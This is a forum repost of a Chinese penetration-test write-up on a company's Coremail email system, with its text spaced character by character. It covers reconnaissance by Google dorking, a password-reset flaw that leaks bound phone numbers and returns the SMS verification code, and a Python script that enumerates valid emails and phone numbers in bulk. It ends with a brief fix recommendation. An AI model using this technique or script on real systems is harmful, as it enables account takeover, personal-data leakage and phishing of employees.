搜索

[18293] 2021-02-19_某公司邮件系统的安全检测

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-02-19_某公司邮件系统的安全检测 某 公 司 邮 件 系 统 的 安 全 检 测 b a l c k 0 0   H A C K 之 道   2 0 2 1 - 0 2 - 1 9 目 前 分 析 目 前 分 析 1 、 地 址 ： h t t p s : / / m a i l . . * * * * * c o m / c o r e m a i l / 分 析 ： 登 录 功 能 和 忘 记 密 码 功 能 ； 目 前 站 点 是 邮 箱 系 统 。 方 向 ： 爆 破 、 逻 辑 漏 洞 - 密 码 找 回 信 息 收 集 信 息 收 集 1 、 g o o g l e 通 过 域 名 收 集 相 关 网 站 获 取 邮 箱 信 息 ， i n u r : * * * 2 、 经 过 多 个 邮 箱 信 息 收 集 ， 发 现 邮 箱 命 名 规 则 密 码 找 回 密 码 找 回 输 入 获 取 到 的 邮 箱 ， 点 击 获 取 邮 箱 的 手 机 号 码 ， 并 进 行   抓 放
返 回 绑 定 的 手 机 号 码 ， 信 息 泄 露 ， 如 果 失 败 是 返 回 错 误 的 在 点 击   【 获 取 短 信 内 容 】 ， 发 现 有 个 * * c o d e 的 内 容 ， 四 位 数 ， 可 能 是 验 证 码 ， 把 这 个 验 证 码 输 入 进 去 ， 成 功 了 。         [ 是 它 是 它 ， 就 是 它 ] 输 入 验 证 码 ， 下 一 步 成 功 了 ， 说 明 是 正 确 的 ， 重 置 任 意 账 户 邮 箱 密 码 P Y T H O N 可 批 量 获 取 手 机 号 码 可 批 量 获 取 手 机 号 码 1 、 收 集 当 前 公 司 员 工 名 字 转 换 成 拼 音 2 、 手 机 公 布 的 邮 箱 信 息 只 是 简 单 写 一 下 获 取 手 机 号 码   判 断 邮 箱 用 户 真 实
i m p o r t   r e q u e s t s i m p o r t   j s o n ' ' ' 通 过 邮 箱 转 换 批 量 获 取 手 机 号 码 和 获 取 正 确 的 邮 箱 ' ' ' h e a d e r s = { ' U s e r - A g e n t ' : ' M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   r v : 7 6 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 7 6 . 0 ' , ' A c c e p t ' :   ' * / * ' , ' A c c e p t - L a n g u a g e ' :   ' z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 ' , ' A c c e p t - E n c o d i n g ' :   ' g z i p ,   d e f l a t e ' , ' C o n t e n t - T y p e ' :   ' a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ;   c h a r s e t = U T F - 8 ' , ' C o n n e c t i o n ' :   ' c l o s e ' , ' O r i g i n ' : ' h t t p s : / / m a i l . * * * * * * . c o m ' , ' R e f e r e r ' : ' h t t p s : / / m a i l . * * * * * * . c o m / c o r e m a i l / c h a n g e p w d . j s p ? u i d = ' , ' H o s t ' : ' c r m . * * * * * * . c o m : 8 0 ' , ' C o n t e n t - L e n g t h ' :   ' 6 1 ' } d e f   p o s t s t r f o x ( ) : n a m e = ' * * * n a m e ' m a i l = n a m e + ' @ * * * * * * . c o m ' d a t a   =   { ' m a i l ' :   m a i l , ' l y P a s s ' :   ' q 7 6 a 5 e 9 6 J I Q w R M q T T t z W M A = = ' } u r l = ' h t t p s : / / c r m . * * * * * * . c o m : 8 0 / g e t P h o n e ' r e q = r e q u e s t s . p o s t ( u r l = u r l , d a t a = d a t a , h e a d e r s = h e a d e r s ) r t e x t = r e q . t e x t d i c _ j s d i c t = j s o n . l o a d s ( r t e x t )     # 返 回 的 是 j s o n 格 式 的 ， 所 也 需 要 转 换 一 下 m e s s a g e = d i c _ j s d i c t [ ' m e s s a g e ' ] 危 害 危 害 / 修 复 ： 修 复 ： 1 、 可 以 爆 破 获 取 用 户 名 2 、 通 过 用 户 可 以 获 取 手 机 号 码 ， 信 息 泄 露 3 、 可 以 重 置 任 意 账 户 邮 箱 密 码 ， 包 括 高 管 的 邮 箱 手 机 号 码 ， 获 取 邮 箱 权 限 ， 可 干 的 事 情 很 多 ， 钓 鱼 等 修 复 建 议 修 复 建 议 升 级 当 前 邮 件 系 统 本 文 作 者 ： b a l c k 0 0 ，   转 载 于 F r e e B u f . C O M 点 击 上 方 ， 关 注 公 众 号 点 击 上 方 ， 关 注 公 众 号 如 文 章 对 你 有 帮 助 ， 请 支 持 点 下 “ 赞 ” “ 在 看 ” 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理